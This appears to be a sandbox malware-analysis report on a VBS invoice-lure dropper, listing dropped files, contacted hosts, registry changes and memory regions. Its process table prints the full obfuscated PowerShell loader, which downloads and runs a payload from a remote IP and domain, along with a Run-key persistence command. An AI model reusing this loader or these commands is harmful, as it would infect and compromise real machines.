Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
Revised Invoice 7389293.vbs
|
ASCII text, with very long lines (1629), with CRLF line terminators
|
initial sample
|
||
C:\Users\user\AppData\Roaming\kpburtts.dat
|
data
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
modified
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0bxt4epq.jd0.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2m3ticbf.q0z.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gc1ach1c.qyb.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovucw1lu.jm3.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\stallman.Fro
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Revised Invoice 7389293.vbs"
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens
Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191
Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments
Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes
disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187
Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For(
$Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function
Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b(
Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/
1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2
3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205
',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd
aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd
=.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a
rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205
' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo
tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D
i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas
(Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205
' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas
(Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas
(Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205
'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h
$.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv
e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas
(Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas
(Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl
t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE
n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc
h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas
$Ehrlichman;"
|
||
C:\Windows\System32\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens
Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191
Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments
Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes
disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187
Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For(
$Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function
Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b(
Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/
1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2
3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205
',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd
aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd
=.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a
rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205
' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo
tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D
i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas
(Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205
' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas
(Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas
(Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205
'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h
$.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv
e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas
(Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas
(Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl
t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE
n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc
h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas
$Ehrlichman;"
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"
|
||
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ
/d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\SysWOW64\reg.exe
|
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ /d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty
-Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"
|
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
https://milanaces.com/SFryErIeeXOmuTEjEAq228.bin
|
193.25.216.108
|
||
http://103.19
|
unknown
|
||
http://103.195.
|
unknown
|
||
https://milanaces.c
|
unknown
|
||
https://contoso.com/License
|
unknown
|
||
http://103.195.237.43/Nyet.qxd
|
103.195.237.43
|
||
https://milanaces.co
|
unknown
|
||
https://milanaces.com/Ny
|
unknown
|
||
http://103.195.237.43/Nyet.qx
|
unknown
|
||
http://103.195.237.4
|
unknown
|
||
https://milanaces.com/SFryErIeeXOmuTEjEAq228.binClittva103.195.237.43/SFryErIeeXOmuTEjEAq228.bin
|
unknown
|
||
http://103.195HZ
|
unknown
|
||
https://milanaces.com/Nyet
|
unknown
|
||
https://milanaces.com
|
unknown
|
||
http://103.1
|
unknown
|
||
https://contoso.com/
|
unknown
|
||
https://nuget.org/nuget.exe
|
unknown
|
||
http://103.195
|
unknown
|
||
http://103.195.237.43/Ny
|
unknown
|
||
http://103.195.237.
|
unknown
|
||
http://103.195.237.43/Nyet.q
|
unknown
|
||
http://103.195.237.43
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
https://go.micros=
|
unknown
|
||
https://milanaces.com/Nyet.qxd0
|
unknown
|
||
http://nuget.org/NuGet.exe
|
unknown
|
||
https://milanaces.com/Nyet.qxd
|
unknown
|
||
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
https://milanaces.com/Nyet.qxdX
|
unknown
|
||
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
https://milanaces.com/SFryErIeeXOmuTEjEAq228.bins8
|
unknown
|
||
https://go.micro
|
unknown
|
||
https://milanaces.com/SFryErIeeXOmuTEjEAq228.bin3v
|
unknown
|
||
https://contoso.com/Icon
|
unknown
|
||
http://103.195.237
|
unknown
|
||
http://103.195.237.43/Nyet.
|
unknown
|
||
http://103.195.237.43/N
|
unknown
|
||
https://github.com/Pester/Pester
|
unknown
|
||
http://103.195.23
|
unknown
|
||
https://milanaces.com/SFryErIeeXOmuTEjEAq228.binFil
|
unknown
|
||
https://milanaces.com/Nyet.q
|
unknown
|
||
https://milanaces.com/
|
unknown
|
||
https://aka.ms/pscore6lBdq
|
unknown
|
||
https://milanaces.com/SFryErIeeXOmuTEjEAq228.bin.
|
unknown
|
||
https://milanaces.com/N
|
unknown
|
||
http://103.195.2
|
unknown
|
||
http://103.195.237.43/
|
unknown
|
||
https://aka.ms/pscore68
|
unknown
|
||
https://milanaces.com/Nyet.
|
unknown
|
||
https://milanaces.com/Nyet.qx
|
unknown
|
||
https://milanaces.com/Nye
|
unknown
|
||
http://103.195.237.43/Nye
|
unknown
|
||
http://103.195.237.43/Nyet
|
unknown
|
There are 43 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
janbours92harbu02.duckdns.org
|
206.123.148.198
|
||
janbours92harbu03.duckdns.org
|
unknown
|
||
bg.microsoft.map.fastly.net
|
199.232.210.172
|
||
milanaces.com
|
193.25.216.108
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
206.123.148.198
|
janbours92harbu02.duckdns.org
|
United States
|
||
103.195.237.43
|
unknown
|
Viet Nam
|
||
193.25.216.108
|
milanaces.com
|
Germany
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
HKEY_CURRENT_USER\Optagningsmaskiners
|
Kesslerman
|
||
HKEY_CURRENT_USER\Environment
|
valleculate
|
||
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
exepath
|
||
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
licence
|
||
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
time
|
||
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
Chooseable
|
There are 10 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
6F5B000
|
heap
|
page read and write
|
||
9B7B000
|
direct allocation
|
page execute and read and write
|
||
F49F1FF000
|
stack
|
page read and write
|
||
7640000
|
trusted library allocation
|
page read and write
|
||
7FFD9B760000
|
trusted library allocation
|
page read and write
|
||
2291E000
|
stack
|
page read and write
|
||
22970000
|
remote allocation
|
page read and write
|
||
2504832B000
|
heap
|
page read and write
|
||
2DA0000
|
heap
|
page read and write
|
||
25048444000
|
heap
|
page read and write
|
||
370F000
|
unkown
|
page read and write
|
||
6E0E000
|
stack
|
page read and write
|
||
7FFD9B81C000
|
trusted library allocation
|
page execute and read and write
|
||
85C4000
|
heap
|
page read and write
|
||
7227000
|
heap
|
page read and write
|
||
224DD000
|
stack
|
page read and write
|
||
25048527000
|
heap
|
page read and write
|
||
1B5DDECA000
|
trusted library allocation
|
page read and write
|
||
1B5DBB20000
|
heap
|
page read and write
|
||
22970000
|
remote allocation
|
page read and write
|
||
2504669B000
|
heap
|
page read and write
|
||
9F0253B000
|
stack
|
page read and write
|
||
250485CC000
|
heap
|
page read and write
|
||
2504849D000
|
heap
|
page read and write
|
||
77E0000
|
trusted library allocation
|
page read and write
|
||
7800000
|
trusted library allocation
|
page read and write
|
||
6F00000
|
direct allocation
|
page read and write
|
||
8350000
|
trusted library allocation
|
page read and write
|
||
6F36000
|
heap
|
page read and write
|
||
30E0000
|
trusted library allocation
|
page execute and read and write
|
||
483E000
|
stack
|
page read and write
|
||
E08000
|
heap
|
page read and write
|
||
AF7B000
|
direct allocation
|
page execute and read and write
|
||
8850000
|
trusted library allocation
|
page read and write
|
||
2504669C000
|
heap
|
page read and write
|
||
25048326000
|
heap
|
page read and write
|
||
2D5E000
|
unkown
|
page read and write
|
||
74A0000
|
heap
|
page read and write
|
||
1B5DDEB0000
|
trusted library allocation
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
318D000
|
heap
|
page read and write
|
||
9F0243E000
|
stack
|
page read and write
|
||
25046538000
|
heap
|
page read and write
|
||
734E000
|
stack
|
page read and write
|
||
9F01E7F000
|
stack
|
page read and write
|
||
1B5DBB85000
|
heap
|
page read and write
|
||
30C0000
|
heap
|
page readonly
|
||
8330000
|
trusted library allocation
|
page execute and read and write
|
||
25048472000
|
heap
|
page read and write
|
||
1B5F5CD0000
|
heap
|
page read and write
|
||
6F65000
|
heap
|
page read and write
|
||
25046507000
|
heap
|
page read and write
|
||
8250000
|
trusted library allocation
|
page read and write
|
||
250464BA000
|
heap
|
page read and write
|
||
2284E000
|
stack
|
page read and write
|
||
7FFD9B820000
|
trusted library allocation
|
page execute and read and write
|
||
7F820000
|
trusted library allocation
|
page execute and read and write
|
||
6F49000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
2F7D000
|
stack
|
page read and write
|
||
1B5DF551000
|
trusted library allocation
|
page read and write
|
||
25048332000
|
heap
|
page read and write
|
||
25048463000
|
heap
|
page read and write
|
||
25048320000
|
heap
|
page read and write
|
||
7FFD9BA00000
|
trusted library allocation
|
page read and write
|
||
2DBF000
|
stack
|
page read and write
|
||
22ACE000
|
stack
|
page read and write
|
||
22B0F000
|
stack
|
page read and write
|
||
76EE000
|
stack
|
page read and write
|
||
22A4C000
|
stack
|
page read and write
|
||
7FFD9B942000
|
trusted library allocation
|
page read and write
|
||
ABD000
|
stack
|
page read and write
|
||
831E000
|
stack
|
page read and write
|
||
25048543000
|
heap
|
page read and write
|
||
250484A8000
|
heap
|
page read and write
|
||
71B0000
|
direct allocation
|
page read and write
|
||
E10000
|
heap
|
page read and write
|
||
7780000
|
trusted library allocation
|
page execute and read and write
|
||
77D0000
|
trusted library allocation
|
page read and write
|
||
30F0000
|
heap
|
page read and write
|
||
6E40000
|
heap
|
page read and write
|
||
6CCE000
|
stack
|
page read and write
|
||
25048483000
|
heap
|
page read and write
|
||
2504852F000
|
heap
|
page read and write
|
||
250485CF000
|
heap
|
page read and write
|
||
1B5F5CD3000
|
heap
|
page read and write
|
||
59FB000
|
remote allocation
|
page execute and read and write
|
||
71E0000
|
direct allocation
|
page read and write
|
||
1B5F5689000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
25048531000
|
heap
|
page read and write
|
||
1B5F61A0000
|
heap
|
page read and write
|
||
6E75000
|
heap
|
page read and write
|
||
79EE7FE000
|
stack
|
page read and write
|
||
25048327000
|
heap
|
page read and write
|
||
E40000
|
trusted library section
|
page read and write
|
||
1B5F5B32000
|
heap
|
page read and write
|
||
250464BA000
|
heap
|
page read and write
|
||
EB0000
|
trusted library allocation
|
page read and write
|
||
9F01CFE000
|
stack
|
page read and write
|
||
25048421000
|
heap
|
page read and write
|
||
E92000
|
trusted library allocation
|
page read and write
|
||
25048527000
|
heap
|
page read and write
|
||
6E70000
|
heap
|
page read and write
|
||
250464FB000
|
heap
|
page read and write
|
||
7150000
|
direct allocation
|
page read and write
|
||
3440000
|
heap
|
page read and write
|
||
87A0000
|
trusted library allocation
|
page read and write
|
||
22B8E000
|
stack
|
page read and write
|
||
8FE0000
|
direct allocation
|
page execute and read and write
|
||
3198000
|
heap
|
page read and write
|
||
1B5DBB67000
|
heap
|
page read and write
|
||
48F8000
|
trusted library allocation
|
page read and write
|
||
2F22000
|
heap
|
page read and write
|
||
3060000
|
heap
|
page read and write
|
||
6EF9000
|
heap
|
page read and write
|
||
25048472000
|
heap
|
page read and write
|
||
8227000
|
stack
|
page read and write
|
||
1B5DBED5000
|
heap
|
page read and write
|
||
6EF0000
|
direct allocation
|
page read and write
|
||
250464FB000
|
heap
|
page read and write
|
||
25048328000
|
heap
|
page read and write
|
||
1B5F5B5C000
|
heap
|
page read and write
|
||
2F00000
|
heap
|
page read and write
|
||
7FFD9B911000
|
trusted library allocation
|
page read and write
|
||
22450000
|
heap
|
page read and write
|
||
2504669A000
|
heap
|
page read and write
|
||
25048337000
|
heap
|
page read and write
|
||
250485CB000
|
heap
|
page read and write
|
||
1B5DF51A000
|
trusted library allocation
|
page read and write
|
||
2504842D000
|
heap
|
page read and write
|
||
30FF000
|
stack
|
page read and write
|
||
7790000
|
trusted library allocation
|
page read and write
|
||
E00000
|
heap
|
page read and write
|
||
8230000
|
heap
|
page read and write
|
||
858C000
|
heap
|
page read and write
|
||
2DD0000
|
heap
|
page read and write
|
||
745D000
|
heap
|
page read and write
|
||
7110000
|
direct allocation
|
page read and write
|
||
1B5DD681000
|
trusted library allocation
|
page read and write
|
||
25048448000
|
heap
|
page read and write
|
||
5B54000
|
trusted library allocation
|
page read and write
|
||
2504848B000
|
heap
|
page read and write
|
||
74A9000
|
heap
|
page read and write
|
||
6F65000
|
heap
|
page read and write
|
||
22970000
|
remote allocation
|
page read and write
|
||
227E0000
|
direct allocation
|
page read and write
|
||
25047F70000
|
remote allocation
|
page read and write
|
||
1B5DBEB0000
|
heap
|
page read and write
|
||
1B5DE8CA000
|
trusted library allocation
|
page read and write
|
||
DAD000
|
stack
|
page read and write
|
||
25046530000
|
heap
|
page read and write
|
||
1B5DDEC1000
|
trusted library allocation
|
page read and write
|
||
25048343000
|
heap
|
page read and write
|
||
9F023BE000
|
stack
|
page read and write
|
||
79EEAFE000
|
stack
|
page read and write
|
||
7FFD9BA50000
|
trusted library allocation
|
page read and write
|
||
25048454000
|
heap
|
page read and write
|
||
6E15000
|
heap
|
page execute and read and write
|
||
79EEBFC000
|
stack
|
page read and write
|
||
1B5DBAD0000
|
heap
|
page read and write
|
||
2504834A000
|
heap
|
page read and write
|
||
2504651F000
|
heap
|
page read and write
|
||
9F0310B000
|
stack
|
page read and write
|
||
7FFD9BA80000
|
trusted library allocation
|
page read and write
|
||
E8A000
|
trusted library allocation
|
page execute and read and write
|
||
2EDF000
|
unkown
|
page read and write
|
||
6DB0000
|
heap
|
page read and write
|
||
1B5DD686000
|
trusted library allocation
|
page read and write
|
||
45FB000
|
remote allocation
|
page execute and read and write
|
||
85AC000
|
heap
|
page read and write
|
||
25046512000
|
heap
|
page read and write
|
||
49F5000
|
trusted library allocation
|
page read and write
|
||
7FFD9BA60000
|
trusted library allocation
|
page read and write
|
||
7170000
|
direct allocation
|
page read and write
|
||
1B5DBED0000
|
heap
|
page read and write
|
||
6DCE000
|
stack
|
page read and write
|
||
25048521000
|
heap
|
page read and write
|
||
73B0000
|
heap
|
page execute and read and write
|
||
25048523000
|
heap
|
page read and write
|
||
24922CF0000
|
heap
|
page read and write
|
||
1B5DD530000
|
heap
|
page readonly
|
||
1B5F5E56000
|
heap
|
page read and write
|
||
2504848E000
|
heap
|
page read and write
|
||
22C4D000
|
stack
|
page read and write
|
||
1B5DBBAE000
|
heap
|
page read and write
|
||
7FFD9BAD0000
|
trusted library allocation
|
page read and write
|
||
48A1000
|
trusted library allocation
|
page read and write
|
||
1B5ED681000
|
trusted library allocation
|
page read and write
|
||
2504848B000
|
heap
|
page read and write
|
||
2504832A000
|
heap
|
page read and write
|
||
22A8C000
|
stack
|
page read and write
|
||
7FFD9B920000
|
trusted library allocation
|
page execute and read and write
|
||
1B5DBC13000
|
heap
|
page read and write
|
||
6FB0000
|
direct allocation
|
page read and write
|
||
25048324000
|
heap
|
page read and write
|
||
C3D000
|
stack
|
page read and write
|
||
229EF000
|
stack
|
page read and write
|
||
7220000
|
heap
|
page read and write
|
||
1B5F5BA2000
|
heap
|
page read and write
|
||
7FFD9BAB0000
|
trusted library allocation
|
page read and write
|
||
2251D000
|
stack
|
page read and write
|
||
74C5000
|
heap
|
